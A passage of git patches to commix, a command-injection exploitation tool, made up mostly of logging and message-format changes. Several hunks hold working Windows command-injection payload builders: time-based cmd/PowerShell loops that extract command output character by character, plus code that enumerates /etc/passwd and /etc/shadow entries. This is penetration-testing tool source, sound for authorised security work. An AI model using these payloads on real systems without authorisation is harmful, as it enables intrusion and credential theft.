Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") + print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : @@ -331,11 +331,11 @@ def enumeration(url, cve, check_header, filename): if ":" in line: fields = line.split(":") if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1] + Style.RESET_ALL) + print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1] + Style.RESET_ALL) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") output_file.close() # Check for appropriate (/etc/shadow) format except IndexError: diff --git a/src/utils/settings.py b/src/utils/settings.py index 989335bb4e..d8a92aa62d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -20,6 +20,7 @@ import random import string import codecs +from datetime import datetime from src.core.compat import xrange from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.six.moves import reload_module as _reload_module @@ -56,7 +57,7 @@ class HTTPMETHOD(object): ERROR_BOLD_SIGN = "[" + Style.BRIGHT + Fore.RED + "error" + Style.RESET_ALL + "] " CRITICAL_SIGN = "[" + Back.RED + "critical" + Style.RESET_ALL + "] " PAYLOAD_SIGN = "[" + Fore.CYAN + "payload" + Style.RESET_ALL + "] " -SUB_CONTENT_SIGN = " " * 7 + Fore.GREY + "|_ " + Style.RESET_ALL +SUB_CONTENT_SIGN = " " * 11 + Fore.GREY + "|_ " + Style.RESET_ALL TRAFFIC_SIGN = HTTP_CONTENT_SIGN = "" ABORTION_SIGN = ERROR_SIGN DEBUG_SIGN = "[" + Back.BLUE + Fore.WHITE + "debug" + Style.RESET_ALL + "] " @@ -66,64 +67,77 @@ class HTTPMETHOD(object): REVERSE_TCP_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """ BIND_TCP_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """ +def print_time(): + return "[" + Fore.LIGHTBLUE_EX + datetime.now().strftime("%H:%M:%S") + Style.RESET_ALL + "] " + +# Print legal disclaimer message +def print_legal_disclaimer_msg(legal_disclaimer_msg): + result = LEGAL_DISCLAIMER + str(legal_disclaimer_msg) + Style.RESET_ALL + return result + # Print error message def print_error_msg(err_msg): - result = ERROR_SIGN + str(err_msg) + Style.RESET_ALL + result = print_time() + ERROR_SIGN + str(err_msg) + Style.RESET_ALL return result # Print error message def print_bold_error_msg(err_msg): - result = ERROR_BOLD_SIGN + Style.BRIGHT + str(err_msg) + Style.RESET_ALL + result = print_time() + ERROR_BOLD_SIGN + Style.BRIGHT + str(err_msg) + Style.RESET_ALL return result # Print critical error message def print_critical_msg(err_msg): - result = CRITICAL_SIGN + str(err_msg) + Style.RESET_ALL + result = print_time() + CRITICAL_SIGN + str(err_msg) + Style.RESET_ALL return result # Print abortion message def print_abort_msg(abort_msg): - result = ABORTION_SIGN + str(abort_msg) + Style.RESET_ALL + result = print_time() + ABORTION_SIGN + str(abort_msg) + Style.RESET_ALL return result # Print warning message def print_warning_msg(warn_msg): - result = WARNING_SIGN + str(warn_msg) + Style.RESET_ALL + result = print_time() + WARNING_SIGN + str(warn_msg) + Style.RESET_ALL return result # Print warning message def print_bold_warning_msg(warn_msg): - result = WARNING_BOLD_SIGN + str(warn_msg) + Style.RESET_ALL + result = print_time() + WARNING_BOLD_SIGN + str(warn_msg) + Style.RESET_ALL return result -# Print legal disclaimer message -def print_legal_disclaimer_msg(legal_disclaimer_msg): - result = LEGAL_DISCLAIMER + str(legal_disclaimer_msg) + Style.RESET_ALL - return result +# Print debug message (verbose mode) +def print_debug_msg(debug_msg): + result = print_time() + DEBUG_SIGN + debug_msg + Style.RESET_ALL + return result + +# Print bold debug message (verbose mode) +def print_bold_debug_msg(debug_msg): + result = print_time() + DEBUG_BOLD_SIGN + debug_msg + Style.RESET_ALL + return result # Print request HTTP message def print_request_msg(req_msg): - result = REQUEST_SIGN + str(req_msg) + Style.RESET_ALL + result = print_time() + REQUEST_SIGN + str(req_msg) + Style.RESET_ALL return result # Print response HTTP message def print_response_msg(resp_msg): - result = RESPONSE_SIGN + str(resp_msg) + Style.RESET_ALL + result = print_time() + RESPONSE_SIGN + str(resp_msg) + Style.RESET_ALL return result # Print information message def print_info_msg(info_msg): - result = INFO_SIGN + str(info_msg) + Style.RESET_ALL + result = print_time() + INFO_SIGN + str(info_msg) + Style.RESET_ALL return result # Print bold information message def print_bold_info_msg(info_msg): - result = INFO_BOLD_SIGN + Style.BRIGHT + str(info_msg) + Style.RESET_ALL + result = print_time() + INFO_BOLD_SIGN + Style.BRIGHT + str(info_msg) + Style.RESET_ALL return result # Print payload (verbose mode) def print_payload(payload): - result = PAYLOAD_SIGN + str(payload) + Style.RESET_ALL + result = print_time() + PAYLOAD_SIGN + str(payload) + Style.RESET_ALL return result # Print HTTP traffic (verbose mode) @@ -159,16 +173,6 @@ def print_sub_content(sub_content): result = SUB_CONTENT_SIGN + sub_content + Style.RESET_ALL return result -# Print debug message (verbose mode) -def print_debug_msg(debug_msg): - result = DEBUG_SIGN + debug_msg + Style.RESET_ALL - return result - -# Print bold debug message (verbose mode) -def print_bold_debug_msg(debug_msg): - result = DEBUG_BOLD_SIGN + debug_msg + Style.RESET_ALL - return result - # Print output of command execution def command_execution_output(shell): result = Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL @@ -230,7 +234,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "64" +REVISION = "65" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From af2f29d6f1b6d746c3eedcd4b79d11e9997172d6 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 18 May 2022 07:21:52 +0300 Subject: [PATCH 142/560] Trivial updates --- src/core/injections/controller/checks.py | 4 +++- src/core/main.py | 23 ++++++++++++----------- src/core/requests/headers.py | 3 ++- src/utils/settings.py | 2 +- 4 files changed, 18 insertions(+), 14 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 3090764f7d..7ac67add2c 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -144,6 +144,8 @@ def connection_exceptions(err_msg, url): if isinstance(url, str): _ = " Skipping URL '" + str(url) + "'." if settings.MULTI_TARGETS or settings.CRAWLING: + if len(_) == 0: + _ = " Skipping to the next target." error_msg = error_msg + _ if len(_) != 0 or not settings.MULTI_TARGETS or not settings.CRAWLING: print(settings.print_critical_msg(error_msg)) @@ -151,7 +153,7 @@ def connection_exceptions(err_msg, url): if settings.MAX_RETRIES > 1: time.sleep(settings.DELAY_RETRY) if not settings.VALID_URL : - if not settings.MULTI_TARGETS and settings.TOTAL_OF_REQUESTS == settings.MAX_RETRIES: + if settings.TOTAL_OF_REQUESTS == settings.MAX_RETRIES and not settings.MULTI_TARGETS: raise SystemExit() """ diff --git a/src/core/main.py b/src/core/main.py index 32a1f4fb4a..8e7df4fdaa 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -788,12 +788,14 @@ def main(filename, url): main(filename, url) else: + output_href = [] # Check if option is "-m" for multiple urls test. if menu.options.bulkfile: bulkfile = menu.options.bulkfile - info_msg = "Parsing targets using the '" + os.path.split(bulkfile)[1] + "' file. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + if os_checks_num == 0: + info_msg = "Parsing targets using the '" + os.path.split(bulkfile)[1] + "' file. " + sys.stdout.write(settings.print_info_msg(info_msg)) + sys.stdout.flush() if not os.path.exists(bulkfile): print(settings.SINGLE_WHITESPACE) err_msg = "It seems that the '" + os.path.split(bulkfile)[1] + "' file, does not exist." @@ -815,7 +817,6 @@ def main(filename, url): # Check if option "--crawl" is enabled. if settings.CRAWLING and settings.IS_TTY: settings.CRAWLING_PHASE = True - output_href = [] url_num = 1 if not menu.options.bulkfile: crawling_list = 1 @@ -831,19 +832,19 @@ def main(filename, url): output_href = crawler.normalize_results(output_href) settings.CRAWLING_PHASE = False else: - output_href = [] filename = None if settings.IS_TTY: output_href = output_href + bulkfile - else: - info_msg = "Using 'stdin' for parsing targets list." - print(settings.print_info_msg(info_msg)) + else: + if os_checks_num == 0: + info_msg = "Using 'stdin' for parsing targets list." + print(settings.print_info_msg(info_msg)) menu.options.batch = True bulkfile = sys.stdin settings.MULTI_TARGETS = True - for line in bulkfile: - if re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I): - output_href.append(line.rstrip()) + for url in bulkfile: + if re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", url, re.I): + output_href.append(url.rstrip()) # Removing duplicates from list. clean_output_href = [] diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 81ab7d39e2..0b3ba804fe 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -193,7 +193,8 @@ def https_open(self, req): if not settings.MULTI_TARGETS and not settings.CRAWLING: pass else: - checks.connection_exceptions(err_msg, url=request) + if not settings.INIT_TEST: + checks.connection_exceptions(err_msg, url=request) break try: diff --git a/src/utils/settings.py b/src/utils/settings.py index d8a92aa62d..dfc27cc035 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -234,7 +234,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "65" +REVISION = "66" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 1ed6ba17ab35d668dfe487ba94b8c8d1a2b0c415 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 19 May 2022 07:44:24 +0300 Subject: [PATCH 143/560] Trivial fixes / updates --- .../techniques/time_based/tb_enumeration.py | 4 +- .../techniques/time_based/tb_payloads.py | 32 +++++++------- src/core/injections/controller/checks.py | 9 ++++ src/core/injections/controller/controller.py | 4 +- .../techniques/classic/cb_enumeration.py | 4 +- .../techniques/classic/cb_payloads.py | 8 ++-- .../techniques/eval_based/eb_enumeration.py | 4 +- .../techniques/eval_based/eb_payloads.py | 8 ++-- .../techniques/file_based/fb_enumeration.py | 4 +- .../techniques/file_based/fb_payloads.py | 6 +-- .../tempfile_based/tfb_enumeration.py | 4 +- .../techniques/tempfile_based/tfb_payloads.py | 44 +++++++++---------- src/core/modules/shellshock/shellshock.py | 8 ++-- src/core/requests/requests.py | 4 +- src/core/tamper/backslashes.py | 24 +++------- src/core/tamper/backticks.py | 2 +- src/core/tamper/caret.py | 26 +++-------- src/core/tamper/dollaratsigns.py | 24 +++------- src/core/tamper/doublequotes.py | 34 +++++--------- src/core/tamper/nested.py | 23 ++-------- src/core/tamper/singlequotes.py | 24 +++------- src/core/tamper/slash2env.py | 27 +++--------- src/core/tamper/sleep2timeout.py | 18 ++++---- src/core/tamper/sleep2usleep.py | 24 ++++------ src/core/tamper/space2ifs.py | 13 ++---- src/core/tamper/space2plus.py | 4 +- src/core/tamper/space2vtab.py | 7 +-- src/core/tamper/uninitializedvariable.py | 26 +++-------- src/utils/settings.py | 30 ++++++++++++- 29 files changed, 182 insertions(+), 267 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index 4117841b91..25356a7de4 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -145,14 +145,14 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, if target_arch: if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) - info_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL + info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The target operating system is " + str(target_os) + info_msg = "The underlying operating system is " + str(target_os) info_msg += " and the hardware platform is " + str(target_arch) + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 5dab6f2186..aedfcc8710 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -28,7 +28,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method): if settings.TARGET_OS == "win": if separator == "||" : payload = (separator + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') " + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') " "do if %i==" +str(output_length) + " " "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")" ) @@ -37,7 +37,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method): separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') " + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') " "do if %i==" +str(output_length) + " " "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")" ) @@ -103,7 +103,7 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print len(\'" + TAG + "\')\"" if separator == "||" : payload = (separator + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" +str(output_length) + " " "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " @@ -114,7 +114,7 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" +str(output_length) + " " "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " @@ -181,7 +181,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): if settings.TARGET_OS == "win": if separator == "||" : payload = (separator + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + + "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + "\"') do if %i==" +str(output_length) + " " "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")" @@ -191,7 +191,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + + "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + "\"') do if %i==" +str(output_length) + " " "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")" @@ -256,7 +256,7 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque if settings.TARGET_OS == "win": if separator == "||" : payload = (separator + " " + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do if %i==" +str(output_length) + " " + "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " @@ -266,7 +266,7 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do if %i==" +str(output_length) + " " + "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " @@ -332,7 +332,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met if settings.TARGET_OS == "win": if separator == "||" : payload = (separator + " " + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" +str(ascii_char)+ " (cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\")" ) @@ -341,7 +341,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" +str(ascii_char)+ " (cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\")" ) @@ -417,7 +417,7 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print ord(os.popen('" + cmd + "').read().strip()[" + str(num_of_chars-1) + ":" + str(num_of_chars) + "])\"" if separator == "||" : payload = (separator + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" +str(ascii_char) + " " "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " @@ -428,7 +428,7 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" +str(ascii_char) + " " "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " @@ -492,7 +492,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me if settings.TARGET_OS == "win": if separator == "||" : payload = (separator + " " + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + + "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + "\"') do if %i==" +str(ascii_char)+ " (cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")" @@ -502,7 +502,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + + "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + "\"') do if %i==" +str(ascii_char)+ " (cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")" @@ -559,7 +559,7 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt if settings.TARGET_OS == "win": if separator == "||" : payload = (separator + " " + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do if %i==" +str(ascii_char) + " " + "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " @@ -570,7 +570,7 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do if %i==" +str(ascii_char) + " " + "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 7ac67add2c..d955cb27e2 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1016,6 +1016,15 @@ def tamper_scripts(stored_tamper_scripts): settings.MULTI_ENCODED_PAYLOAD.append(script) import_script = str(settings.TAMPER_SCRIPTS_PATH + script + ".py").replace("/",".").split(".py")[0] print(settings.SUB_CONTENT_SIGN + import_script.split(".")[-1]) + warn_msg = "" + if settings.EVAL_BASED_STATE != False and script in settings.EVAL_NOT_SUPPORTED_TAMPER_SCRIPTS: + warn_msg = "The dynamic code evaluation technique does not support the usage of '" + script + ".py' tamper script. Skipping." + elif settings.TARGET_OS == "win" and script in settings.WIN_NOT_SUPPORTED_TAMPER_SCRIPTS: + warn_msg = "Windows targets do not support the usage of '" + script + ".py' tamper script. Skipping." + elif settings.TARGET_OS != "win" and script in settings.UNIX_NOT_SUPPORTED_TAMPER_SCRIPTS: + warn_msg = "Unix targets do not support the usage of '" + script + ".py' tamper script. Skipping." + if len(warn_msg) != 0: + print(settings.print_warning_msg(warn_msg)) try: module = __import__(import_script, fromlist=[None]) if not hasattr(module, "__tamper__"): diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 4d280a102c..9e3d1fb35c 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -342,7 +342,8 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time # Load modules modules_handler.load_modules(url, http_request_method, filename) - + checks.tamper_scripts(stored_tamper_scripts=False) + info_msg = "Setting the" if not header_name == " cookie" and not the_type == " HTTP header": info_msg += " " + str(http_request_method) + "" @@ -362,7 +363,6 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if settings.TESTABLE_VALUE != decoded_value and len(decoded_with) != 0: warn_msg = "The provided parameter appears to be '" + str(decoded_with) + "' encoded." print(settings.print_warning_msg(warn_msg)) - checks.tamper_scripts(stored_tamper_scripts=False) if settings.VERBOSITY_LEVEL != 0: debug_msg = "Performing heuristic (basic) tests to the target URL." print(settings.print_debug_msg(debug_msg)) diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index dc75d4a03e..6b9cf1826e 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -162,14 +162,14 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ else: target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if target_arch: - info_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL + info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The target operating system is " + str(target_os) + info_msg = "The underlying operating system is " + str(target_os) info_msg += " and the hardware platform is " + str(target_arch) + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py index 4bd50efe03..ab791c2c11 100755 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py @@ -31,7 +31,7 @@ def decision(separator, TAG, randv1, randv2): ) else: payload = (separator + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + + "for /f \"tokens=*\" %i in ('cmd /c \"" + "set /a (" + str(randv1) + "%2B" + str(randv2) + ")" + "\"') do @set /p = " + TAG + "%i" + TAG + TAG + "< nul" ) @@ -84,7 +84,7 @@ def decision_alter_shell(separator, TAG, randv1, randv2): python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print '" + TAG + "'%2Bstr(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))" + "%2B'" + TAG + "'%2B'" + TAG + "'\"" payload = (separator + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do @set /p =%i< nul" ) @@ -114,7 +114,7 @@ def cmd_execution(separator, TAG, cmd): ) else: payload = (separator + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + + "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + "\"') do @set /p = " + TAG + TAG + "%i" + TAG + TAG + "< nul" ) @@ -152,7 +152,7 @@ def cmd_execution_alter_shell(separator, TAG, cmd): ) else: payload = (separator + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('" + + "for /f \"tokens=*\" %i in ('" + settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('powershell.exe -InputFormat none write-host " + TAG + TAG + " $(" + cmd + ") "+ TAG + TAG + "')\"" + "') do @set /p =%i< nul" ) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index 0b2bfb403f..b835b7724b 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -161,14 +161,14 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ else: target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if target_arch: - info_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL + info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The target operating system is " + str(target_os) + info_msg = "The underlying operating system is " + str(target_os) info_msg += " and the hardware platform is " + str(target_arch) + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py index f42196492c..91f5da7cd6 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py @@ -40,7 +40,7 @@ def decision(separator, TAG, randv1, randv2): else: if separator == "": payload = ("print(`echo " + TAG + "`." + - "`for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + + "`for /f \"tokens=*\" %i in ('cmd /c \"" + "set /a (" + str(randv1) + "%2B" + str(randv2) + ")" + "\"') do @set /p =%i < nul`." + "`echo " + TAG + "`." + @@ -49,7 +49,7 @@ def decision(separator, TAG, randv1, randv2): ) else: payload = ("print(`echo " + TAG + - separator + "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + + separator + "for /f \"tokens=*\" %i in ('cmd /c \"" + "set /a (" + 